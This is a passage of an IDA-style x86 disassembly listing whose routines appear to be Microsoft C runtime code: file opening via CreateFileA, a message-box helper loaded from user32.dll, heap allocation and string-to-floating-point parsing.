esi, 8000000h jmp short loc_41C88E ; --------------------------------------------------------------------------- loc_41C884: ; CODE XREF: sub_41C716+164j test al, 10h jz short loc_41C88E or esi, 10000000h loc_41C88E: ; CODE XREF: sub_41C716+16Cj ; sub_41C716+170j call sub_41C4FC mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_41C8AF and dword_742230, 0 mov dword_74222C, 18h jmp short loc_41C8ED ; --------------------------------------------------------------------------- loc_41C8AF: ; CODE XREF: sub_41C716+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call ds:dword_41F05C ; CreateFileA mov esi, eax cmp esi, edi jz short loc_41C8E0 push esi call ds:dword_41F030 ; GetFileType test eax, eax jnz short loc_41C8F4 push esi call ds:dword_41F058 ; CloseHandle loc_41C8E0: ; CODE XREF: sub_41C716+1B6j call ds:off_41F06C push eax call sub_41A82A pop ecx loc_41C8ED: ; CODE XREF: sub_41C716+197j mov eax, edi jmp loc_41C9CA ; --------------------------------------------------------------------------- loc_41C8F4: ; CODE XREF: sub_41C716+1C1j cmp eax, 2 jnz short loc_41C8FF or [ebp+var_1], 40h jmp short loc_41C908 ; --------------------------------------------------------------------------- loc_41C8FF: ; CODE XREF: sub_41C716+1E1j cmp eax, 3 jnz short loc_41C908 or [ebp+var_1], 8 loc_41C908: ; CODE XREF: sub_41C716+1E7j ; sub_41C716+1ECj push esi push ebx call sub_41C591 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:743540h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_41C9B1 test al, 80h jz short loc_41C9B1 test byte ptr [ebp+arg_4], 2 jz short loc_41C9B1 push 2 push 0FFFFFFFFh push ebx call sub_419DD2 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_41C966 cmp dword_742230, 83h jz short loc_41C9B1 jmp short loc_41C9A5 ; --------------------------------------------------------------------------- loc_41C966: ; CODE XREF: sub_41C716+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_4199F4 add esp, 0Ch test eax, eax jnz short loc_41C993 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_41C993 push [ebp+var_10] push ebx call sub_41D663 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41C9A5 loc_41C993: ; CODE XREF: sub_41C716+265j ; sub_41C716+26Bj push 0 push 0 push ebx call sub_419DD2 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_41C9B1 loc_41C9A5: ; CODE XREF: sub_41C716+24Ej ; sub_41C716+27Bj push ebx call sub_419730 pop ecx loc_41C9AC: ; CODE XREF: sub_41C716+6Cj or eax, 0FFFFFFFFh jmp short loc_41C9CA ; --------------------------------------------------------------------------- loc_41C9B1: ; CODE XREF: sub_41C716+221j ; sub_41C716+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_41C9C8 test byte ptr [ebp+arg_4], 8 jz short loc_41C9C8 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_41C9C8: ; CODE XREF: sub_41C716+29Fj ; sub_41C716+2A5j mov eax, ebx loc_41C9CA: ; CODE XREF: sub_41C716+1D9j ; sub_41C716+299j pop edi pop esi pop ebx leave retn sub_41C716 endp ; =============== S U B R O U T I N E ======================================= sub_41C9CF proc near ; CODE XREF: sub_41AADF+2Bp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_41C9E0 add esp, 0Ch retn sub_41C9CF endp ; =============== S U B R O U T I N E ======================================= sub_41C9E0 proc near ; CODE XREF: sub_41C9CF+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_743761[eax], cl jnz short loc_41CA0D cmp [esp+arg_4], 0 jz short loc_41CA06 movzx eax, word_4377BA[eax*2] and eax, [esp+arg_4] jmp short loc_41CA08 ; --------------------------------------------------------------------------- loc_41CA06: ; CODE XREF: sub_41C9E0+16j xor eax, eax loc_41CA08: ; CODE XREF: sub_41C9E0+24j test eax, eax jnz short loc_41CA0D retn ; --------------------------------------------------------------------------- loc_41CA0D: ; CODE XREF: sub_41C9E0+Fj ; sub_41C9E0+2Aj push 1 pop eax retn sub_41C9E0 endp ; =============== S U B R O U T I N E ======================================= sub_41CA11 proc near ; CODE XREF: sub_41B235+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_7424F0, ebx push esi push edi jnz short loc_41CA60 push offset aUser32_dll ; "user32.dll" call ds:off_41F0A8 mov edi, eax cmp edi, ebx jz short loc_41CA96 mov esi, ds:off_41F0AC push offset aMessageboxa ; "MessageBoxA" push edi call esi ; sub_74AAC1 test eax, eax mov dword_7424F0, eax jz short loc_41CA96 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi ; sub_74AAC1 push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_7424F4, eax call esi ; sub_74AAC1 mov dword_7424F8, eax loc_41CA60: ; CODE XREF: sub_41CA11+Bj mov eax, dword_7424F4 test eax, eax jz short loc_41CA7F call eax ; GetActiveWindow mov ebx, eax test ebx, ebx jz short loc_41CA7F mov eax, dword_7424F8 test eax, eax jz short loc_41CA7F push ebx call eax ; GetLastActivePopup mov ebx, eax loc_41CA7F: ; CODE XREF: sub_41CA11+56j ; sub_41CA11+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_7424F0 ; MessageBoxA loc_41CA92: ; CODE XREF: sub_41CA11+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41CA96: ; CODE XREF: sub_41CA11+1Cj ; sub_41CA11+33j xor eax, eax jmp short loc_41CA92 sub_41CA11 endp ; =============== S U B R O U T I N E ======================================= sub_41CA9A proc near ; CODE XREF: sub_41B3F2+22p ; sub_41B3F2+3Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi imul esi, [esp+0Ch+arg_4] cmp esi, 0FFFFFFE0h mov ebx, esi ja short loc_41CABA test esi, esi jnz short loc_41CAB4 push 1 pop esi loc_41CAB4: ; CODE XREF: sub_41CA9A+15j add esi, 0Fh and esi, 0FFFFFFF0h loc_41CABA: ; CODE XREF: sub_41CA9A+11j ; sub_41CA9A+65j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_41CAEB cmp ebx, dword_4379CC ja short loc_41CAD6 push ebx call sub_416CCF mov edi, eax pop ecx test edi, edi jnz short loc_41CB01 loc_41CAD6: ; CODE XREF: sub_41CA9A+2Dj push esi push 8 push dword_743880 call ds:dword_41F144 ; RtlAllocateHeap mov edi, eax test edi, edi jnz short loc_41CB0D loc_41CAEB: ; CODE XREF: sub_41CA9A+25j cmp dword_742284, 0 jz short loc_41CB0D push esi call sub_4168E4 test eax, eax pop ecx jz short loc_41CB13 jmp short loc_41CABA ; --------------------------------------------------------------------------- loc_41CB01: ; CODE XREF: sub_41CA9A+3Aj push ebx push 0 push edi call sub_413890 add esp, 0Ch loc_41CB0D: ; CODE XREF: sub_41CA9A+4Fj ; sub_41CA9A+58j mov eax, edi loc_41CB0F: ; CODE XREF: sub_41CA9A+7Bj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41CB13: ; CODE XREF: sub_41CA9A+63j xor eax, eax jmp short loc_41CB0F sub_41CA9A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41B497 loc_41CB17: ; CODE XREF: sub_41B497+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_743520, esi jle short loc_41CB6A loc_41CB26: ; CODE XREF: sub_41B497+16D1j mov eax, dword_74251C mov eax, [eax+esi*4] test eax, eax jz short loc_41CB61 test byte ptr [eax+0Ch], 83h jz short loc_41CB45 push eax call sub_414E31 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41CB45 inc edi loc_41CB45: ; CODE XREF: sub_41B497+169Fj ; sub_41B497+16ABj cmp esi, 14h jl short loc_41CB61 mov eax, dword_74251C push dword ptr [eax+esi*4] call sub_413F7F mov eax, dword_74251C pop ecx and dword ptr [eax+esi*4], 0 loc_41CB61: ; CODE XREF: sub_41B497+1699j ; sub_41B497+16B1j inc esi cmp esi, dword_743520 jl short loc_41CB26 loc_41CB6A: ; CODE XREF: sub_41B497+168Dj mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_41B497 ; =============== S U B R O U T I N E ======================================= sub_41CB6F proc near ; CODE XREF: sub_41B80E+2Bp ; sub_41B80E+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_41CB85 cmp ecx, esi jnb short loc_41CB88 loc_41CB85: ; CODE XREF: sub_41CB6F+10j push 1 pop eax loc_41CB88: ; CODE XREF: sub_41CB6F+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_41CB6F endp ; =============== S U B R O U T I N E ======================================= sub_41CB90 proc near ; CODE XREF: sub_41CC49+40p ; sub_41CC49+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_41CB6F add esp, 0Ch test eax, eax jz short loc_41CBC2 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_41CB6F add esp, 0Ch test eax, eax jz short loc_41CBC2 inc dword ptr [esi+8] loc_41CBC2: ; CODE XREF: sub_41CB90+19j ; sub_41CB90+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_41CB6F add esp, 0Ch test eax, eax jz short loc_41CBDA inc dword ptr [esi+8] loc_41CBDA: ; CODE XREF: sub_41CB90+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_41CB6F add esp, 0Ch pop edi pop esi retn sub_41CB90 endp ; =============== S U B R O U T I N E ======================================= sub_41CBEE proc near ; CODE XREF: sub_41CC49+30p ; sub_41CC49+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_41CBEE endp ; =============== S U B R O U T I N E ======================================= sub_41CC1C proc near ; CODE XREF: sub_41D1E1+1C8p ; sub_41D7A9+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_41CC1C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC49 proc near ; CODE XREF: sub_41CD10+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_41CCBD push edi mov [ebp+arg_8], eax loc_41CC70: ; CODE XREF: sub_41CC49+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_41CBEE push ebx call sub_41CBEE lea eax, [ebp+var_10] push eax push ebx call sub_41CB90 push ebx call sub_41CBEE mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_41CB90 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_41CC70 xor edx, edx pop edi loc_41CCBD: ; CODE XREF: sub_41CC49+21j ; sub_41CC49+9Fj cmp [ebx+8], edx jnz short loc_41CCEA mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_41CCBD ; --------------------------------------------------------------------------- loc_41CCEA: ; CODE XREF: sub_41CC49+77j mov esi, 8000h loc_41CCEF: ; CODE XREF: sub_41CC49+B9j test [ebx+8], esi jnz short loc_41CD04 push ebx call sub_41CBEE add [ebp+var_4], 0FFFFh pop ecx jmp short loc_41CCEF ; --------------------------------------------------------------------------- loc_41CD04: ; CODE XREF: sub_41CC49+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_41CC49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CD10 proc near ; CODE XREF: sub_41BB57+17p ; sub_41BB84+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_41CD4B: ; CODE XREF: sub_41CD10+52j mov cl, [edi] cmp cl, 20h jz short loc_41CD61 cmp cl, 9 jz short loc_41CD61 cmp cl, 0Ah jz short loc_41CD61 cmp cl, 0Dh jnz short loc_41CD64 loc_41CD61: ; CODE XREF: sub_41CD10+40j ; sub_41CD10+45j ... inc edi jmp short loc_41CD4B ; --------------------------------------------------------------------------- loc_41CD64: ; CODE XREF: sub_41CD10+4Fj push 4 pop esi loc_41CD67: ; CODE XREF: sub_41CD10+AEj ; sub_41CD10+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_41CFEA ; default ; jumptable 0041CD73 case 10 jmp ds:off_41D1B1[eax*4] ; switch jump loc_41CD7A: ; DATA XREF: .text:off_41D1B1o cmp bl, 31h ; jumptable 0041CD73 case 0 jl short loc_41CD8B cmp bl, 39h jg short loc_41CD8B loc_41CD84: ; CODE XREF: sub_41CD10+C4j ; sub_41CD10+118j push 3 jmp loc_41CFA8 ; --------------------------------------------------------------------------- loc_41CD8B: ; CODE XREF: sub_41CD10+6Dj ; sub_41CD10+72j cmp bl, byte_4379C0 jnz short loc_41CD9A loc_41CD93: ; CODE XREF: sub_41CD10+124j push 5 jmp loc_41CFE0 ; --------------------------------------------------------------------------- loc_41CD9A: ; CODE XREF: sub_41CD10+81j movsx eax, bl sub eax, 2Bh jz short loc_41CDC0 dec eax dec eax jz short loc_41CDB4 sub eax, 3 jnz loc_41D083 jmp loc_41CE43 ; --------------------------------------------------------------------------- loc_41CDB4: ; CODE XREF: sub_41CD10+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_41CD67 ; --------------------------------------------------------------------------- loc_41CDC0: ; CODE XREF: sub_41CD10+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_41CD67 ; --------------------------------------------------------------------------- loc_41CDC9: ; CODE XREF: sub_41CD10+63j ; DATA XREF: .text:off_41D1B1o cmp bl, 31h ; jumptable 0041CD73 case 1 mov [ebp+var_10], edx jl short loc_41CDD6 cmp bl, 39h jle short loc_41CD84 loc_41CDD6: ; CODE XREF: sub_41CD10+BFj cmp bl, byte_4379C0 jz loc_41CE9E cmp bl, 2Bh jz short loc_41CE18 cmp bl, 2Dh jz short loc_41CE18 cmp bl, 30h jz short loc_41CE43 loc_41CDF1: ; CODE XREF: sub_41CD10+207j cmp bl, 43h jle loc_41D083 cmp bl, 45h jle short loc_41CE11 cmp bl, 63h jle loc_41D083 cmp bl, 65h jg loc_41D083 loc_41CE11: ; CODE XREF: sub_41CD10+EDj push 6 jmp loc_41CFE0 ; --------------------------------------------------------------------------- loc_41CE18: ; CODE XREF: sub_41CD10+D5j ; sub_41CD10+DAj ... dec edi push 0Bh jmp loc_41CFE0 ; --------------------------------------------------------------------------- loc_41CE20: ; CODE XREF: sub_41CD10+63j ; DATA XREF: .text:off_41D1B1o cmp bl, 31h ; jumptable 0041CD73 case 2 jl short loc_41CE2E cmp bl, 39h jle loc_41CD84 loc_41CE2E: ; CODE XREF: sub_41CD10+113j cmp bl, byte_4379C0 jz loc_41CD93 cmp bl, 30h jnz loc_41CFF8 loc_41CE43: ; CODE XREF: sub_41CD10+9Fj ; sub_41CD10+DFj mov eax, edx jmp loc_41CD67 ; --------------------------------------------------------------------------- loc_41CE4A: ; CODE XREF: sub_41CD10+63j ; DATA XREF: .text:off_41D1B1o mov [ebp+var_10], edx ; jumptable 0041CD73 case 3 loc_41CE4D: ; CODE XREF: sub_41CD10+184j cmp dword_4379BC, edx jle short loc_41CE66 movzx eax, bl push esi push eax call sub_41686F pop ecx pop ecx push 1 pop edx jmp short loc_41CE74 ; --------------------------------------------------------------------------- loc_41CE66: ; CODE XREF: sub_41CD10+143j mov ecx, off_4377B0 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41CE74: ; CODE XREF: sub_41CD10+154j test eax, eax jz short loc_41CE96 cmp [ebp+var_4], 19h jnb short loc_41CE8E mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_41CE91 ; --------------------------------------------------------------------------- loc_41CE8E: ; CODE XREF: sub_41CD10+16Cj inc [ebp+var_8] loc_41CE91: ; CODE XREF: sub_41CD10+17Cj mov bl, [edi] inc edi jmp short loc_41CE4D ; --------------------------------------------------------------------------- loc_41CE96: ; CODE XREF: sub_41CD10+166j cmp bl, byte_4379C0 jnz short loc_41CF05 loc_41CE9E: ; CODE XREF: sub_41CD10+CCj mov eax, esi jmp loc_41CD67 ; --------------------------------------------------------------------------- loc_41CEA5: ; CODE XREF: sub_41CD10+63j ; DATA XREF: .text:off_41D1B1o cmp [ebp+var_4], 0 ; jumptable 0041CD73 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_41CEBE loc_41CEB1: ; CODE XREF: sub_41CD10+1ACj cmp bl, 30h jnz short loc_41CEBE dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_41CEB1 ; --------------------------------------------------------------------------- loc_41CEBE: ; CODE XREF: sub_41CD10+19Fj ; sub_41CD10+1A4j ... cmp dword_4379BC, edx jle short loc_41CED7 movzx eax, bl push esi push eax call sub_41686F pop ecx pop ecx push 1 pop edx jmp short loc_41CEE5 ; --------------------------------------------------------------------------- loc_41CED7: ; CODE XREF: sub_41CD10+1B4j mov ecx, off_4377B0 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41CEE5: ; CODE XREF: sub_41CD10+1C5j test eax, eax jz short loc_41CF05 cmp [ebp+var_4], 19h jnb short loc_41CF00 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_41CF00: ; CODE XREF: sub_41CD10+1DDj mov bl, [edi] inc edi jmp short loc_41CEBE ; --------------------------------------------------------------------------- loc_41CF05: ; CODE XREF: sub_41CD10+18Cj ; sub_41CD10+1D7j cmp bl, 2Bh jz loc_41CE18 cmp bl, 2Dh jz loc_41CE18 jmp loc_41CDF1 ; --------------------------------------------------------------------------- loc_41CF1C: ; CODE XREF: sub_41CD10+63j ; DATA XREF: .text:off_41D1B1o cmp dword_4379BC, edx ; jumptable 0041CD73 case 5 mov [ebp+var_24], edx jle short loc_41CF38 movzx eax, bl push esi push eax call sub_41686F pop ecx pop ecx push 1 pop edx jmp short loc_41CF46 ; --------------------------------------------------------------------------- loc_41CF38: ; CODE XREF: sub_41CD10+215j mov ecx, off_4377B0 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41CF46: ; CODE XREF: sub_41CD10+226j test eax, eax jz loc_41CFF8 mov eax, esi jmp short loc_41CFA9 ; --------------------------------------------------------------------------- loc_41CF52: ; CODE XREF: sub_41CD10+63j ; DATA XREF: .text:off_41D1B1o lea ecx, [edi-2] ; jumptable 0041CD73 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_41CF62 cmp bl, 39h jle short loc_41CFA6 loc_41CF62: ; CODE XREF: sub_41CD10+24Bj movsx eax, bl sub eax, 2Bh jz short loc_41CFDE dec eax dec eax jz short loc_41CFD2 sub eax, 3 jnz loc_41D086 loc_41CF77: ; CODE XREF: sub_41CD10+2A4j push 8 jmp short loc_41CFE0 ; --------------------------------------------------------------------------- loc_41CF7B: ; CODE XREF: sub_41CD10+63j ; DATA XREF: .text:off_41D1B1o mov [ebp+var_20], edx ; jumptable 0041CD73 case 8 loc_41CF7E: ; CODE XREF: sub_41CD10+276j cmp bl, 30h jnz short loc_41CF88 mov bl, [edi] inc edi jmp short loc_41CF7E ; --------------------------------------------------------------------------- loc_41CF88: ; CODE XREF: sub_41CD10+271j cmp bl, 31h jl loc_41D083 cmp bl, 39h jg loc_41D083 jmp short loc_41CFA6 ; --------------------------------------------------------------------------- loc_41CF9C: ; CODE XREF: sub_41CD10+63j ; DATA XREF: .text:off_41D1B1o cmp bl, 31h ; jumptable 0041CD73 case 7 jl short loc_41CFAF cmp bl, 39h jg short loc_41CFAF loc_41CFA6: ; CODE XREF: sub_41CD10+250j ; sub_41CD10+28Aj push 9 loc_41CFA8: ; CODE XREF: sub_41CD10+76j pop eax loc_41CFA9: ; CODE XREF: sub_41CD10+240j dec edi jmp loc_41CD67 ; --------------------------------------------------------------------------- loc_41CFAF: ; CODE XREF: sub_41CD10+28Fj ; sub_41CD10+294j cmp bl, 30h jnz short loc_41CFF8 jmp short loc_41CF77 ; --------------------------------------------------------------------------- loc_41CFB6: ; CODE XREF: sub_41CD10+63j ; DATA XREF: .text:off_41D1B1o cmp [ebp+arg_18], 0 ; jumptable 0041CD73 case 11 jz short loc_41CFE6 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_41CFDE dec eax dec eax jnz loc_41D086 loc_41CFD2: ; CODE XREF: sub_41CD10+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_41CD67 ; --------------------------------------------------------------------------- loc_41CFDE: ; CODE XREF: sub_41CD10+258j ; sub_41CD10+2B8j push 7 loc_41CFE0: ; CODE XREF: sub_41CD10+85j ; sub_41CD10+103j ... pop eax jmp loc_41CD67 ; --------------------------------------------------------------------------- loc_41CFE6: ; CODE XREF: sub_41CD10+2AAj push 0Ah dec edi pop eax loc_41CFEA: ; CODE XREF: sub_41CD10+5Dj ; sub_41CD10+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 0041CD73 case 10 jz loc_41D088 jmp loc_41CD67 ; --------------------------------------------------------------------------- loc_41CFF8: ; CODE XREF: sub_41CD10+12Dj ; sub_41CD10+238j ... mov edi, [ebp+arg_8] jmp loc_41D088 ; --------------------------------------------------------------------------- loc_41D000: ; CODE XREF: sub_41CD10+63j ; DATA XREF: .text:off_41D1B1o mov [ebp+var_20], 1 ; jumptable 0041CD73 case 9 xor esi, esi loc_41D009: ; CODE XREF: sub_41CD10+339j cmp dword_4379BC, 1 jle short loc_41D021 movzx eax, bl push 4 push eax call sub_41686F pop ecx pop ecx jmp short loc_41D030 ; --------------------------------------------------------------------------- loc_41D021: ; CODE XREF: sub_41CD10+300j mov ecx, off_4377B0 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41D030: ; CODE XREF: sub_41CD10+30Fj test eax, eax jz short loc_41D050 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_41D04B mov bl, [edi] inc edi jmp short loc_41D009 ; --------------------------------------------------------------------------- loc_41D04B: ; CODE XREF: sub_41CD10+334j mov esi, 1451h loc_41D050: ; CODE XREF: sub_41CD10+322j mov [ebp+var_1C], esi loc_41D053: ; CODE XREF: sub_41CD10+371j cmp dword_4379BC, 1 jle short loc_41D06B movzx eax, bl push 4 push eax call sub_41686F pop ecx pop ecx jmp short loc_41D07A ; --------------------------------------------------------------------------- loc_41D06B: ; CODE XREF: sub_41CD10+34Aj mov ecx, off_4377B0 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41D07A: ; CODE XREF: sub_41CD10+359j test eax, eax jz short loc_41D083 mov bl, [edi] inc edi jmp short loc_41D053 ; --------------------------------------------------------------------------- loc_41D083: ; CODE XREF: sub_41CD10+99j ; sub_41CD10+E4j ... dec edi jmp short loc_41D088 ; --------------------------------------------------------------------------- loc_41D086: ; CODE XREF: sub_41CD10+261j ; sub_41CD10+2BCj mov edi, ecx loc_41D088: ; CODE XREF: sub_41CD10+2DDj ; sub_41CD10+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_41D170 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_41D0B4 cmp [ebp+var_45], 5 jl short loc_41D0A8 inc [ebp+var_45] loc_41D0A8: ; CODE XREF: sub_41CD10+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_41D0B7 ; --------------------------------------------------------------------------- loc_41D0B4: ; CODE XREF: sub_41CD10+38Dj mov eax, [ebp+var_C] loc_41D0B7: ; CODE XREF: sub_41CD10+3A2j cmp [ebp+var_4], 0 jbe loc_41D166 loc_41D0C1: ; CODE XREF: sub_41CD10+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_41D0CF dec [ebp+var_4] inc [ebp+var_8] jmp short loc_41D0C1 ; --------------------------------------------------------------------------- loc_41D0CF: ; CODE XREF: sub_41CD10+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_41CC49 mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_41D0EE neg eax loc_41D0EE: ; CODE XREF: sub_41CD10+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_41D0F9 add eax, [ebp+arg_10] loc_41D0F9: ; CODE XREF: sub_41CD10+3E4j cmp [ebp+var_24], ecx jnz short loc_41D101 sub eax, [ebp+arg_14] loc_41D101: ; CODE XREF: sub_41CD10+3ECj cmp eax, 1450h jle short loc_41D138 mov [ebp+var_2C], 1 loc_41D10F: ; CODE XREF: sub_41CD10+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_41D11B: ; CODE XREF: sub_41CD10+454j ; sub_41CD10+45Ej cmp [ebp+var_2C], 0 jz short loc_41D181 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_41D196 ; --------------------------------------------------------------------------- loc_41D138: ; CODE XREF: sub_41CD10+3F6j cmp eax, 0FFFFEBB0h jge short loc_41D148 mov [ebp+var_30], 1 jmp short loc_41D10F ; --------------------------------------------------------------------------- loc_41D148: ; CODE XREF: sub_41CD10+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_41D9C9 mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_41D11B ; --------------------------------------------------------------------------- loc_41D166: ; CODE XREF: sub_41CD10+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_41D11B ; --------------------------------------------------------------------------- loc_41D170: ; CODE XREF: sub_41CD10+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_41D196 ; --------------------------------------------------------------------------- loc_41D181: ; CODE XREF: sub_41CD10+40Fj cmp [ebp+var_30], 0 jz short loc_41D196 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_41D196: ; CODE XREF: sub_41CD10+426j ; sub_41CD10+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_41CD10 endp ; --------------------------------------------------------------------------- 